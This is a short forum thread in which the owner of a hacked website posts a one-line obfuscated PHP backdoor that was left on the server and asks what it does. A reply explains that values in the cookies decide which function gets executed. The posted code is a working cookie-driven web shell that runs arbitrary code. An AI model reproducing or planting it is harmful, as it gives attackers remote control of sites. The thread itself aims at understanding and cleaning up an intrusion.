My site was Hacked, Please help me understand SHORT PHP Code

[Anonymous]

Hi All,

I am no PHP expert.

I have a site, which was hacked and a PHP file was left there.
My problem is that I don't understand the contents of the PHP.

If I understand them I might find other infected files.

So, here is the contents of "gpyvwk.php"

$p=$_COOKIE;(count($p)==26&&in_array(gettype($p).count($p),$p))?(($p[95]=$p[95].$p[69])&&($p[76]=$p[95]($p[76]))&&($p=$p[76]($p[71],$p[95]($p[8])))&&$p()):$p;

Anyone understand the above ?

 

[Anonymous]

depending on the cookie input some function from there will be executed. But without any example it's not feasible to say what it runs.